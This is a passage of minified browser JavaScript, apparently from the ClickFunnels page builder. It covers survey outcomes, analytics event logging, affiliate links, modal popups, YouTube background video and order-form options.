Promise(function(e){CFFacebookMessengerCheckbox.updateUserRef(o,function(){var r={app_id:i.appId,page_id:i.pageId,ref:t||n,user_ref:i.userRef};FB.AppEvents.logEvent("MessengerCheckboxUserConfirmation",null,r),e()})}):new Promise(function(e){e()})},CFFacebookMessengerCheckbox.initializeEditorView=function(){for(var e=document.querySelectorAll(".elFacebookMessengerCheckbox"),t=document.querySelector('meta[name="config-fb-messenger-checkbox-is-deprecated"]'),n=t&&"true"===t.getAttribute("value"),i=0,r=e.length,o=null;i<r;i++)o=e[i],n?o.classList.add("deprecated"):o.classList.remove("deprecated")},window.addEventListener("load",function(){"true"===document.documentElement.getAttribute("data-is-editing")&&CFFacebookMessengerCheckbox.initializeEditorView()}),$(document).ready(PaySelectInit),$(document).ready(function(){function e(e){var t=e.getBoundingClientRect();e.style.position="absolute",e.style.top=document.body.scrollTop+t.y+"px",e.style.height=t.height+"px"}function t(e,t){for(var n in t)e.style[n]=t[n]}function n(e){for(;e&&e!==document;e=e.parentNode)if("fixed"===window.getComputedStyle(e).getPropertyValue("position"))return e;return null}/(iPhone|iPad|iPod).*?(OS 1[12])/.test(navigator.userAgent)&&document.addEventListener("focusin",function(i){if("INPUT"!=!i.target.tagName||"TEXTAREA"==!i.target.tagName){var r=n(i.target);if(r){var o={};["position","top","height"].forEach(function(e){o[e]=r.style[e]}),e(r),i.target.addEventListener("blur",function(e){t(r,o),e.target.removeEventListener(e.type,arguments.callee)})}}})}),$(document).ready(function(){window.AttachClickPushListeners=function(){document.getElementById("clickpush-onload-prompt")&&window.ClickPushRequestPermission(),$(document).on("click",'a[href="#clickpush-prompt"]',function(){"ClickPushRequestPermission"in window&&window.ClickPushRequestPermission()})}}),function(){function e(e,t){e in d&&d[e](t)}function t(e){var t=document.getElementById("page-id"),i=t&&t.value;if(a("Attempting to redirect by expire action"),a("URL: "+e),a("page ID: "+i),i){var s=n(c);if(s.indexOf(i)>=0)return a("Redirect prevented"),void o(c);a("pushing page id to localStorage: "+i),s.push(i),r(c,s)}f[u]=!0,a("Redirected"),window.location.href=e}function n(e){var t=i(e);return a(e+" visited pages: "+t),t}function i(e){var t=~~((new Date).getTime()/1e3),n=window.localStorage.getItem(e),i=window.CFUtils.safeJSONParse(n),r=[];return i&&(t<i.expireDate?r=i.visitedPages:o(e)),r}function r(e,t){var n={visitedPages:t,expireDate:~~((new Date).getTime()/1e3)+l},i=JSON.stringify(n);window.localStorage.setItem(e,i)}function o(e){a("Removing key: "+e),window.localStorage.removeItem(e)}function a(e){s&&console.log(e)}var s=!1,l=180,c="cf_limit_redirect_loops_expire_action",u="EXPIRE_ACTION",d={EXPIRE_ACTION:t},f={EXPIRE_ACTION:!1};$(window).on("beforeunload",function(){f[u]||o(c)}),window.ClickFunnels=window.ClickFunnels||{},window.ClickFunnels.RedirectLoopsLimiter={redirect:e,EXPIRE_ACTION_EVENT_NAME:u,LOGS_ENABLED:s}}(),$(function(){function e(){if("function"!=typeof $.cookie)return!1;var e=$.cookie("is_eu");"false"==e&&$('.elHeadline[data-eu-only="yes"]').each(function(){var e=$(this);e.siblings(".elHeadlineCheckbox").remove(),e.remove()}),e!==undefined&&clearInterval(t)}var t=setInterval(e,1e3);$('[href="#submit-form"], [href="#submit-form-2step-order"], [href*="#yes-link"]').click(function(e){$('input.elHeadlineCheckbox[type="checkbox"]').each(function(){var t=$(this),n=t.hasClass("required1"),i=t.is(":checked");if(n&&!i)return t.parents(".elHeadlineWrapper").addClass("error"),e.stopPropagation(),e.preventDefault(),$(".otoloading").hide(),!1})}),$('input.elHeadlineCheckbox[type="checkbox"]').on("change",function(){var e=$(this),t=e.hasClass("required1"),n=e.is(":checked");n?(e.val("true"),e.parents(".elHeadlineWrapper").removeClass("error")):e.val("false"),t&&!n&&e.parents(".elHeadlineWrapper").addClass("error")})}),$(function(){window.Clickfunnels=window.Clickfunnels||{},$('.elInput[data-custom-type*="round_up"]').each(function(){$(this).data("storage",!1)}),window.Clickfunnels.roundTo=$('[data-de-type="round_up"]').first().data("round-to")||"one",$(".elRoundUpCheckbox").on("click",function(){var e=recalcRoundUp(),t=$(this).is(":checked");0==$('#cfAR input[name="purchase[application_fee]"]').length&&$("#cfAR").append('<input type="hidden" name="purchase[application_fee]" value="" />');var n=$('#cfAR input[name="purchase[application_fee]"]');t?($(".roundUpSelector").attr("disabled",!1),n.val(e)):($(".roundUpSelector").val(""),$(".roundUpSelector").attr("disabled",!0),n.val(0)),cfpeRebuildOrderSummary(),addCharityToSummary()}),$(".roundUpSelector").on("change",function(){var e=(parseInt($(this).val())||0)+recalcRoundUp();$('#cfAR input[name="purchase[application_fee]"]').val(e),cfpeRebuildOrderSummary(),addCharityToSummary()})}),$(function(){$('.qty_select, .o2step_step2 [name="purchase[product_id]"], [data-de-type="orpo"] [name="purchase[product_id]"], #bump-offer, [id*="bump_offer_"]').on("change",function(){recalcRoundUp(),addCharityToSummary()})}),$(document).ready(addSaasRedirectClickHandler),function(){function e(e){$.cookie("cf_survey_results",e,{expires:1})}function t(){return $.cookie("cf_survey_results")}function n(){$.removeCookie("cf_survey_results")}window.ClickFunnels=window.ClickFunnels||{},window.ClickFunnels.SurveyResults=window.ClickFunnels.SurveyResults||{},window.ClickFunnels.SurveyResults.storeCookie=e,window.ClickFunnels.SurveyResults.retrieveCookie=t,window.ClickFunnels.SurveyResults.clearCookie=n}();var CF_KEYCODE_ENTER=13,CF_KEYCODE_SPACE=32;$(document).ready(function(){function e(e){var t={};return window.location.href.replace(location.hash,"").replace(/[?&]+([^=&]+)=?([^&]*)?/gi,function(e,n,i){t[n]=i!==undefined?i:""}),e?t[e]?t[e]:null:t}function t(e){var t=/^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/;return!!e.match(t)&&RegExp.$1}function n(e,t){var n=$(e),o=$(window);if($ID=n.attr("id"),"mobile"==n.attr("data-hide-on")&&o.width()>770)return!0;if("desktop"==n.attr("data-hide-on")&&o.width()<=770)return!0;n.hide(),"scale"==t&&n.css("display","");var a=0;n.attr("data-timed-minutes")&&(a=""==(a=n.attr("data-timed-minutes"))?0:n.attr("data-timed-minutes")),a*=6e4;var s=0;s=n.attr("data-timed-seconds")?""==(s=n.attr("data-timed-seconds"))?0:n.attr("data-timed-seconds"):0;var l=a+(s*=1e3);0==l?"modalPopup"==$ID?f($ID,t,0):(n.show(),n.addClass("displayImportantTimed")):"fade"==t?i($ID,l):"scale"==t&&r($ID,l)}function i(e,t){setTimeout(function(){f(e,"fade",0),$("#"+e+" .de-video-block").each(function(){$videoType=$(this).attr("data-video-type"),"evp"==$videoType&&($video=$(this).attr("data-evp-url"),""==$video||$video==undefined?$(".elVideo",this).html("No Video Set..."):$(".elVideo",this).html($video))})},t)}function r(e,t){setTimeout(function(){f(e,"scale",0),$("#"+e+" .de-video-block").each(function(){$videoType=$(this).attr("data-video-type"),"evp"==$videoType&&($video=$(this).attr("data-evp-url"),""==$video||$video==undefined?$(".elVideo",this).html("No Video Set..."):$(".elVideo",this).html($video))})},t)}function o(e,t){var n=0;$("#"+e).css("display","block !important"),$("#"+e).css("opacity",0),$("#"+e).hasClass("containerModal")?$("#"+e).css("top",n+"px"):$("#"+e).css("position","relative"),$("#"+e).delay(t).velocity({opacity:1},200).promise().done(function(){$("#"+e).show(),$("#"+e).addClass("displayImportantTimed")})}function a(e,t){var n=0;$("#"+e).css("opacity",0),$("#"+e).hasClass("containerModal")?$("#"+e).css("top",n+"px"):$("#"+e).css("position","relative"),$("#"+e).delay(t).velocity({opacity:1,scaleX:1.1,scaleY:1.1},200,function(){$("#"+e).velocity({scaleX:1,scaleY:1},200)})}function s(e,t){$("#"+e).css("opacity",0),$("#"+e).css("position","relative"),$("#"+e).css("left","-800px").delay(t).velocity({opacity:1,left:30},200,function(){$(this).velocity({left:0},200)})}function l(e,t){$("#"+e).css("opacity",0),$("#"+e).css("position","relative"),$("#"+e).css("right","-800px").delay(t).velocity({opacity:1,right:30},200,function(){$(this).velocity({right:0},200)})}function c(e,t){$("#"+e).css("opacity",0),$("#"+e).hasClass("containerModal")||$("#"+e).css("position","relative"),$("#"+e).css("top","-800px").delay(t).velocity({opacity:1},200,function(){$(this).velocity({top:0},200)})}function u(e,t){$("#"+e).css("opacity",0),$("#"+e).css("position","relative"),$("#"+e).css("bottom","-800px").delay(t).velocity({opacity:1},200,function(){$(this).velocity({bottom:0},200)})}function d(){$ID="modalPopup";var e=$("#"+$ID),t=e.attr("data-animate"),n=e.attr("data-delay");f($ID,t,n)}function f(e,t,n){var i=$("#"+e),r=$(window),o=r.height(),a=r.scrollTop(),s=$(".containerWrapper"),l=0,c=$(".modalBackdropWrapper");if(i.addClass("displayImportantTimed"),i.show(),i.hasClass("containerModal")){var u=i.outerHeight(),d=i.css("marginTop");d=d.replace("px",""),o<(u=u+(d=parseInt(d))+d)?(s.css("overflow","hidden"),s.css("height",u+"px"),i.css("position","absolute"),r.scrollTop(0).promise().done(function(){c.show(),c.css({opacity:1,top:0}),p(e,t,n,l)})):(i.css("position","fixed"),l=a,s.css("overflow","hidden"),c.show(),c.css({opacity:1,top:0}),p(e,t,n,l))}}function p(e,t,n,i){"fadex"==t||"fade"==t?o(e,n,i):"scale"==t?a(e,n,i):"left"==t?s(e,n):"right"==t?l(e,n):"top"==t?c(e,n,i):"bottom"==t&&u(e,n)}function h(e,t){void 0===e&&""!=t?void 0!==t&&$("#"+t.replace(/,/g,", #")).fadeOut(150):void 0===t&&""!=e?void 0!==e&&$("#"+e.replace(/,/g,", #")).fadeIn(150):""!=e&&""!=t&&void 0!==e&&void 0!==t&&($("#"+t.replace(/,/g,", #")).hide(),$("#"+e.replace(/,/g,", #")).fadeIn(150))}function m(e){return e=$.trim(e),/^(([^<>()[\]\\.,;:#`%\s@\"]+(\.[^<>()[\]\\.,;:#`%\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function g(e){if(document.createEvent){var t=document.createEvent("MouseEvents");t.initMouseEvent("mousedown",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),e[0].dispatchEvent(t)}else element.fireEvent&&e[0].fireEvent("onmousedown")}function y(e,t){var n,i,r;i="#"+e+" .surveyStep:not(.surveyStepGroup), .surveyStep_v",r=$(i).length,n=(t.index(i)+2)/r*100,$("#"+e+" .surveyStepProgressCounter").css("width",n+"%")}function v(e,t){var n=e,i={},r=t,o={};return $.each(n,function(e,t){$.each(r,function(n,r){r[e]!==undefined&&(i[e]=t)})}),$.each(r,function(e,t){o[e]=0,$.each(i,function(n,i){t[n]!==undefined&&t[n]==i&&o[e]++}),Object.keys(t).length==o[e]||delete o[e]}),$.isEmptyObject(o)?"default":Object.keys(o).reduce(function(e,t){return o[e]>o[t]?e:t})}function b(e,t){if($getOutcomeOBJ=$("#"+t).data("outcome"),$(".elButton[href='#survey-next']").hide(),$(".elIMG[data-imagelink='#survey-next']").hide(),$getOutcomeOBJ==undefined)"hide"==e?$("#"+t).hide():"submit"==e?$("a[href='#submit-form']").trigger("click"):"popup"==e?d():"hideshow"==e&&($("#"+t).hide(),$show=$("#"+t).attr("data-show-ids"),$show&&($show=$show.split(","),$.each($show,function(){$("#"+this).show()})));else{$outcome_found=v($cfSurvey_outcome,$getOutcomeOBJ),"default"==$outcome_found?($page_action=$("#"+t).attr("data-page-action"),$page_action==undefined&&($page_action=$("#"+t).attr("data-complete"))):$page_action=$(".cf_outcomes_action[data-condition-id='"+$outcome_found+"']").attr("data-page-action"),$page_ID=$("#page-id").val(),$surveyCookieCheck_completed=$.cookie("cf_survey_participant_complete_"+$page_ID),$survey_ID=$(".elSurvey").first().attr("id"),$survey_db_id=$page_ID+"_"+$survey_ID;try{KeenAsync.ready(function(){});var n=new KeenAsync({projectId:"58a35e6f8db53dfda8a87a67",writeKey:"E844E116CB12000A6B72AA691F8A2108E6BEBC97A05786370C6703C31E3A5FD4EDC7CC8012418A997621F11C2CFD95A9C1D64E6EF1850AFCC2B76E360F7BA3BC3BE6AEFCCFAAD87B19E1309B88378181E69436B7E01A38447184F2886A9D7AF9"})}catch(err){console.log("keen.io could not be loaded")}if($surveyCookieCheck_completed==undefined){$.cookie("cf_survey_participant_complete_"+$page_ID,CFSurveyParticipantID,{expires:7});try{n.recordEvent("survey_data_collector",{survey_id:$survey_db_id,pid:CFSurveyParticipantID,type:"completed"})}catch(err){console.log("keen.io could not be loaded")}}$surveyCookieCheck_outcomes=$.cookie("cf_survey_participant_outcomes_"+$page_ID),$surveyCookieCheck_outcomes==undefined&&($.cookie("cf_survey_participant_outcomes_"+$page_ID,CFSurveyParticipantID,{expires:7}),n.recordEvent("survey_data_collector",{survey_id:$survey_db_id,pid:CFSurveyParticipantID,type:"outcome",outcomeID:$outcome_found})),"load_page_redirect"==$page_action?("default"==$outcome_found?($redirect_url=$("#"+t).attr("data-page-redirect-url"),$load_text=$("#"+t).attr("data-page-loading-text"),$load_sub_text=$("#"+t).attr("data-page-loading-sub-text")):($redirect_url=$(".cf_outcomes_action[data-condition-id='"+$outcome_found+"']").attr("data-page-redirect-url"),$load_text=$(".cf_outcomes_action[data-condition-id='"+$outcome_found+"']").attr("data-page-loading-text"),$load_sub_text=$(".cf_outcomes_action[data-condition-id='"+$outcome_found+"']").attr("data-page-loading-sub-text")),$load_text==undefined&&($load_text="Analyzing Your Results..."),$load_sub_text==undefined&&($load_sub_text="* Do Not Leave The Page or Reload The Page... *"),$("#"+t+" .surveyStep").hide(),$loading_html='<div class="cfSurvey_loading_redirect_wrapper">',$loading_html+='<div class="surveyStepHeadline"><i class="fa fa-cog fa-spin"></i> '+$load_text+"</div>",$loading_html+='<div class="surveyStepProgressBar"><div class="surveyStepProgressCounter" style="width: 0%;"></div></div>',$loading_html+='<div class="surveyStepHeadline_sub_text">'+$load_sub_text+"</div>",$loading_html+="</div>",$("#"+t).append($loading_html),setTimeout(function(){$("#"+t+" .cfSurvey_loading_redirect_wrapper .surveyStepProgressCounter").css("width","97%"),setTimeout(function(){_($redirect_url)||($redirect_url+="?surveyoutcome="+$outcome_found+"&surveyresults=true",window.ClickFunnels.SurveyResults.storeCookie(JSON.stringify(CFSurveyQueryOutcome))),window.location.href=$redirect_url},800)},100)):"page_redirect"==$page_action?("default"==$outcome_found?$redirect_url=$("#"+t).attr("data-page-redirect-url"):$redirect_url=$(".cf_outcomes_action[data-condition-id='"+$outcome_found+"']").attr("data-page-redirect-url"),_($redirect_url)||($redirect_url+="?surveyoutcome="+$outcome_found+"&surveyresults=true",window.ClickFunnels.SurveyResults.storeCookie(JSON.stringify(CFSurveyQueryOutcome))),window.location.href=$redirect_url):"hide"==$page_action?$("#"+t).hide():"submit"==$page_action?$("a[href='#submit-form']").trigger("click"):"popup"==$page_action?d():"hideshow"==$page_action&&($("#"+t).hide(),$show=$("#"+t).attr("data-show-ids"),$show&&($show=$show.split(","),$.each($show,function(){$("#"+this).show()})))}}function _(e){var t=document.createElement("a");return t.href=e,t.hostname!==window.location.hostname}function T(e,t,n){return e+"_"+t+"_"+n.replace(".","")}function w(e){if($affiliateID=$("body").attr("data-affiliate-id"),$affiliateLink=$("#"+e+" .affLinkBuilderCustomLinks").val(),$affiliateParam=$("body").attr("data-affiliate-param"),"#"==$affiliateLink)alert("no affiliate link selected...");else{$subID1=$("#"+e+" .affiliateLinkAffSubID1").val(),$subID2=$("#"+e+" .affiliateLinkAffSubID2").val(),$("#"+e+" .affLinkPopups").is(":checked")?$popup=!0:$popup=!1,$("#"+e+" .affLinkAutoplay").is(":checked")?$autoplay=!0:$autoplay=!1,console.log("selecting #"+e+" .affLinkCookiePreview"),$("#"+e+" .affLinkCookiePreview").is(":checked")?$cookiepreview=!0:$cookiepreview=!1;var t=$affiliateLink;-1==$affiliateLink.indexOf($affiliateParam)&&(t="cf_affiliate_id"==$affiliateParam?$affiliateLink+"?"+$affiliateParam+"="+$affiliateID+"&affiliate_id="+$affiliateID:$affiliateLink+"?"+$affiliateParam+"="+$affiliateID),t+="&aff_sub="+encodeURIComponent($subID1)+"&aff_sub2="+encodeURIComponent($subID2)+"&nopopup="+$popup+"&noautoplay="+$autoplay+"&cookiepreview="+$cookiepreview,$("#"+e+" .affiliateLinkAffOutput").val(t)}}$(".elSurvey").each(function(){var e=$(this);$surveyID=e.attr("id"),$("#"+$surveyID).attr("data-page-redirect-url")!=undefined&&""!=$("#"+$surveyID).attr("data-page-redirect-url")||e.attr("data-page-redirect-url","#next-url#"),$outcome_conditions_obj={},$(".cf_outcomes[data-survey-id='"+$surveyID+"']").each(function(){var e=$(this);$surveyID=e.attr("data-survey-id"),$condition_id=e.attr("id"),$outcome_conditions_obj[$condition_id]={},$(".cf_survey_outcome_condition",this).each(function(){var e=$(this);$question=e.attr("data-question-id"),$operator=e.attr("data-operator"),$answer=e.attr("data-answer"),$outcome_conditions_obj[$condition_id][$question]=$answer})}),e.attr("data-outcome",JSON.stringify($outcome_conditions_obj))}),window.ClickFunnels.CountryAndStateSelector.populateCountrySelectors();var S=getURLParameter("cf_uvid")||$.cookie("cf_uvid")||"";if($("#cfAR #cf_uvid").val(S),$cfSurvey_outcome={},CFSurveyQueryOutcome=[],$(function(){function e(e){e=e.replace(/[*+?^$.\[\]{}()|\\\/]/g,"\\$&");var t=location.search.match(new RegExp("[?&]"+e+"=([^&]+)(&|$)"));return t&&decodeURIComponent(t[1].replace(/\+/g," "))}if("true"===e("cookiepreview")){var t=$.cookie("affiliate_id");if(t){var n=$("<div>").css({position:"absolute",top:"0%",right:"0%","z-index":1e4}).text("[affiliate = "+t+"]");$("body").prepend(n)}}}),$('.elIMG:not([data-imagelink=""])').attr("tabindex","0"),$("#tracking-body-top").length){var k=$("#tracking-body-top").text();$("body").prepend(k)}if($("#modalPopup").removeAttr("data-hide-on"),e("cf-screenshot-id")&&($("html").attr("style","background: #fff"),$("html").attr("class",""),$(".container").hide(),$(".row").hide(),$showElID=e("cf-screenshot-id"),$showElID.indexOf("row")>-1||$showElID.indexOf("xxx")>-1?($(".nodoBadge").remove(),$("#"+$showElID).show(),$("#"+$showElID).parent().parent().attr("style","padding: 10px;margin-bottom: 20px;margin-top: 20px"),$("#"+$showElID).parent().parent().show()):($showElID.indexOf("section")>-1||$showElID.indexOf("container")>-1)&&($(".nodoBadge").remove(),$("#"+$showElID).show(),$("#"+$showElID).attr("style",$("#"+$showElID).attr("style")+";margin-top: 25px;margin-bottom: 25px;"),$("#"+$showElID+" .row").show())),parent.postMessage){var C=$("head").html();parent.postMessage({meta:C},"*")}$(".containerWrapper .elInput[name='email'].required0").removeClass("required0").addClass("required1"),$("a").each(function(){target=$(this).attr("target"),"undefined"!=typeof target&&target.indexOf("_self")>=0&&$(this).attr("target","_parent"),str=$(this).attr("href"),"undefined"!=typeof str&&(str.indexOf("http")>=0||str.indexOf("www.")>=0)&&(target=$(this).attr("href"),"undefined"!=typeof target&&0==target.indexOf("_blank")&&$(this).attr("target","_parent"))}),$(".affLinkSideOptions").length&&$(".affLinkSideOptions").each(function(){$(this).find(".affLinkExtraOptions").first().html('<input type="checkbox" class="affLinkPopups garlic-auto-save" value=""> Turn OFF Popups'),$(this).find(".affLinkExtraOptions").slice(1,2).html('<input type="checkbox" class="affLinkAutoplay garlic-auto-save" value=""> Turn OFF AutoPlay'), $(this).find(".affLinkExtraOptions").last().html('<input type="checkbox" class="affLinkCookiePreview garlic-auto-save" value=""> Turn On Cookie Preview')}),$(".elProductOptionsBox").length&&($(".activeRadioProduct").removeClass("activeRadioProduct"),$(".elProductOptionsBox .elOrderProductOptinProductName").each(function(){var e=$(this);e.find("input").is(":checked")&&e.addClass("activeRadioProduct")}),$(".elOrderProductOptinProductName input").change(function(){var e=$(this);e.is(":checked")&&($(".activeRadioProduct").removeClass("activeRadioProduct"),e.attr("id")&&$("[id='"+e.attr("id")+"']").closest(".elOrderProductOptinProductName").addClass("activeRadioProduct"))}),$(".elProductOptionsBox select").empty(),$(".elProductOptionsBox ~ .elOrderProductOptionsSelect").empty(),$(".elProductOptionsBox .elOrderProductOptinProducts").each(function(){var e=$(this),t=e.find("label").text(),n=e.find("input").val(),i=e.find(".elOrderProductOptinPrice").text();if(!e.hasClass("hide")){0==$('.elProductOptionsBox select option[value="'+n+'"]').length&&$(".elProductOptionsBox select").append('<option value="'+n+'">'+t+" "+i+"</option>");var r=e.closest(".elProductOptionsBox").siblings(".elOrderProductOptionsSelect");0==r.find('option[value="'+n+'"]').length&&r.append('<option value="'+n+'">'+t+" "+i+"</option>")}}),$(".elProductOptionsBox select, .elOrderProductOptionsSelect").change(function(){id=$(this).val(),$(".elOrderProductOptinProducts input").filter(function(){return $(this).val()===id}).prop("checked",!0).trigger("click").trigger("change")})),function(e,t){var n={ratio:16/9,videoId:"ZCAnLxRvNNc",mute:!0,repeat:!0,width:e(t).width(),wrapperZIndex:99,playButtonClass:"tubular-play",pauseButtonClass:"tubular-pause",muteButtonClass:"tubular-mute",volumeUpClass:"tubular-volume-up",volumeDownClass:"tubular-volume-down",increaseVolumeBy:10,start:0},i=function(i,r){r=e.extend({},n,r);var o=e("body");$node=e(i);var a='<div id="tubular-container" style="overflow: hidden; display: none; position: fixed; z-index: -1; top: 0;margin-top: 0;width: 100%; height: 100%"><div id="tubular-player" style="position: absolute"></div></div><div id="tubular-shield" style="width: 100%; height: 100%; z-index: 0; position: absolute; left: 0; top: 0;"></div>';e("html,body").css({width:"100%",height:"100%"}),o.prepend(a),$node.css({position:"relative","z-index":r.wrapperZIndex}),t.player,t.onYouTubeIframeAPIReady=function(){player=new YT.Player("tubular-player",{width:r.width,height:Math.ceil(r.width/r.ratio),videoId:r.videoId,playerVars:{controls:0,showinfo:0,rel:0,iv_load_policy:3,modestbranding:1,wmode:"transparent"},events:{onReady:onPlayerReady,onStateChange:onPlayerStateChange}})},t.onPlayerReady=function(t){if(s(),r.mute&&t.target.mute(),t.target.seekTo(r.start),t.target.playVideo(),setTimeout(function(){e("#tubular-container").fadeIn(1500)},500),void 0!==e(".modalBackdropWrapper").attr("data-youtube-volume")&&"fadein"==e(".modalBackdropWrapper").attr("data-youtube-volume")&&(vol_number=0,t.target.unMute(),t.target.setVolume(0),fadeVolumeIn=setInterval(function(){vol_number+=5,t.target.setVolume(vol_number)},500),setTimeout(function(){clearInterval(fadeVolumeIn)},1e4)),void 0!==e(".modalBackdropWrapper").attr("data-youtube-hours")||"undefined"!=e(".modalBackdropWrapper").attr("data-youtube-minutes")||"undefined"!=e(".modalBackdropWrapper").attr("data-youtube-seconds")){var n=0|parseInt(e(".modalBackdropWrapper").attr("data-youtube-hours"),10),i=0|parseInt(e(".modalBackdropWrapper").attr("data-youtube-minutes"),10),o=0|parseInt(e(".modalBackdropWrapper").attr("data-youtube-seconds"),10);n*=3600,i*=60,totalSeconds=n+i+o,t.target.seekTo(totalSeconds,!0)}},t.onPlayerStateChange=function(n){if(0===n.data&&r.repeat){var i=e(".modalBackdropWrapper").attr("data-youtube-endaction");if("loop"==i||""==i||i===undefined)player.seekTo(r.start);else if("hidevideo"==i)e("#tubular-container").hide();else if("redirect"==i){e("#tubular-container").hide();var o=e(".modalBackdropWrapper").attr("data-youtube-redirecturl");t.location=o}else"popup"==i&&(e("#tubular-container").hide(),d())}};var s=function(){var n,i,o=e(t).width(),a=e(t).height(),s=e("#tubular-player");o/r.ratio<a?(n=Math.ceil(a*r.ratio),s.width(n).height(a).css({left:(o-n)/2,top:0})):(i=Math.ceil(o/r.ratio),s.width(o).height(i).css({left:0,top:(a-i)/2}))};e(t).on("resize.tubular",function(){s()}),e("body").on("click","."+r.playButtonClass,function(e){e.preventDefault(),player.playVideo()}).on("click","."+r.pauseButtonClass,function(e){e.preventDefault(),player.pauseVideo()}).on("click","."+r.muteButtonClass,function(e){e.preventDefault(),player.isMuted()?player.unMute():player.mute()}).on("click","."+r.volumeDownClass,function(e){e.preventDefault();var t=player.getVolume();t<r.increaseVolumeBy&&(t=r.increaseVolumeBy),player.setVolume(t-r.increaseVolumeBy)}).on("click","."+r.volumeUpClass,function(e){e.preventDefault(),player.isMuted()&&player.unMute();var t=player.getVolume();t>100-r.increaseVolumeBy&&(t=100-r.increaseVolumeBy),player.setVolume(t+r.increaseVolumeBy)})};if(document.body.innerHTML.search("data-youtube-background")>0||document.body.innerHTML.search('data-video-type="youtube"')>0){var r=document.createElement("script");r.src="//www.youtube.com/iframe_api";var o=document.getElementsByTagName("script")[0];o.parentNode.insertBefore(r,o)}e.fn.tubular=function(t){return this.each(function(){e.data(this,"tubular_instantiated")||e.data(this,"tubular_instantiated",i(this,t))})}}(jQuery,window),checkVideoAttr=$(".modalBackdropWrapper").attr("data-youtube-background"),showVideoBG=$(".modalBackdropWrapper").attr("data-youtube-selectbox"),"undefined"==typeof checkVideoAttr||0==t(checkVideoAttr)||"youtube"==showVideoBG&&(videoid=checkVideoAttr.replace("https://www.youtube.com/watch?v=",""),videoid=videoid.replace("https://youtu.be/",""),$("html").tubular({videoId:videoid}));var x=navigator.userAgent.toLowerCase();-1!=x.indexOf("safari")&&(x.indexOf("chrome")>-1||$(".social-likes__button").attr("style","padding-left: 20px !important")),$url=window.location.href,$queries=$.parseParams($url),$.each($queries,function(e,t){$(".elInput[name='"+e+"']").val(t)});var E=window.ClickFunnels.SurveyResults.retrieveCookie(),A=$queries.surveyresults;A&&E&&$.each(JSON.parse(E),function(e,t){var n=document.createElement("input");n.id=t[0],n.name=t[0],n.value=t[1],n.setAttribute("data-cf-form-field",t[0]),n.setAttribute("data-param",e),n.setAttribute("data-storage","false"),$("#cfAR").append(n)}),!A&&E&&window.ClickFunnels.SurveyResults.clearCookie(),$utm_source=$queries.nodo_source,$pID=$("#page-id").val(),$rootID=$("#root-id").val(),$variantcheck=$("#variant-check").val(),$userID=$("#user-id").val(),setTimeout(function(){$(".addthisevent-drop").append("Add to Calendar")},1e3),$(".containerWrapper .de-video-block").each(function(){$videoType=$(this).attr("data-video-type"),"evp"==$videoType&&($video=$(this).attr("data-evp-url"),$visible=$(this).is(":visible"),0==$visible||(""==$video||$video==undefined?$(".elVideo",this).html("No Video Set..."):$(".elVideo",this).html($video)))}),$(".editor-video-holder").hide(),$(".editor-audio-holder").hide(),$.velocity.defaults.easing="easeInOutsine";var M=function(){$("[data-trigger='load']").each(function(){$(this).attr("data-trigger","ran"),$ID=$(this).attr("id"),$type=$(this).attr("data-animate"),$delay=$(this).attr("data-delay"),p($ID,$type,$delay,0)})};$iframeCheck=$("#iframeCheck").val(),"true"==$iframeCheck||M(),$("[data-trigger='scroll']").waypoint(function(){var e=$(this).attr("id"),t=$(this).attr("data-animate"),n=$(this).attr("data-delay");$(this).css("opacity",0),$(this).css("position","relative"),$(window).one("scroll",function(){p(e,t,n,0),$(".stickyTop").delay(n).sticky({center:!0,responsiveWidth:!0,getWidthFrom:".sticky-wrapper"})}),$(this).attr("data-trigger","done")},{offset:"75%",triggerOnce:!0}),$("[data-timed-style='fade']").each(function(){return n(this,"fade")}),$("[data-timed-style='scale']").each(function(){return n(this,"scale")}),$(".swipebox").magnificPopup({type:"image"}),$(".elVideoModalWrapper .swipebox").magnificPopup({type:"iframe",iframe:{patterns:{dailymotion:{index:"dailymotion.com",id:function(e){var t=e.match(/^.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/);return null!==t?t[4]!==undefined?t[4]:t[2]:null},src:"http://www.dailymotion.com/embed/video/%id%"},wistia:{index:"wistia.com",id:function(e){if($url=e,""!=$url&&$url!==undefined)return $url=$url.split("/"),$url=$url[$url.length-1],$url;$url="fqiy4bjdu8"},src:"//fast.wistia.net/embed/iframe/%id%?autoPlay=1&wmode=transparent"}}},callbacks:{open:function(){var e=$(this._lastFocusedEl).closest(".elVideoModalWrapper").attr("data-video-title");$(".mfp-content").find("iframe").attr("title",e)}}}),$(document).on("click","[data-upsell]",function(e){var t=$(this).data("purchase");if(t){e.preventDefault();var n=$("#cfAR");return Object.keys(t).forEach(function(e){var i="purchase["+e+"]";$("<input>").attr("type","hidden").attr("name",i).val(t[e]).appendTo(n)}),"1"==$(this).data("upsell")&&$("<input>").attr("type","hidden").attr("name","upsell").val($(this).data("upsell")).appendTo(n),!1}}),$(document).on("keyup",".elIMG",function(e){13!=e.which&&32!=e.which||$(this).click()}).on("click",".elIMG",function(){$(this).attr("data-imagelink")&&($url=$(this).attr("data-imagelink"),"#open-popup"==$url||"#close-popup"==$url||"#submit-form"==$url||($(this).attr("target")?($target=$(this).attr("target"),"_self"==$target?window.location.href=$url:window.open($url,"_blank")):window.location.href=$url))}),$(document).on("click",".modalBackdropWrapper",function(){return $(".containerModal").delay(0).velocity({opacity:0,top:-800},200,function(){$(".modalBackdropWrapper").css({opacity:0,top:-800}),$(".modalBackdropWrapper").hide(),$(".containerModal").hide()}),$(".containerWrapper").css("overflow","initial"),$(".containerWrapper").css("height",""),!1}),$(document).on("click",".closeLPModal",function(){return $(".containerModal").delay(0).velocity({opacity:0,top:-800},200,function(){$(".modalBackdropWrapper").css({opacity:0,top:-800}),$(".modalBackdropWrapper").hide(),$(".containerModal").hide()}),$(".containerWrapper").css("overflow","initial"),$(".containerWrapper").css("height",""),!1}),$(document).on("click","div[data-elbuttontype='2'] a",function(e){return e.stopPropagation(),h($(this).attr("data-show-button-ids"),$(this).attr("data-hide-button-ids")),!1}),$(document).on("click",".elButton",function(e){if("2"==$(this).parent().attr("data-elbuttontype"))return e.preventDefault(),!1}),$(document).on("click","a[href='#close-popup'], 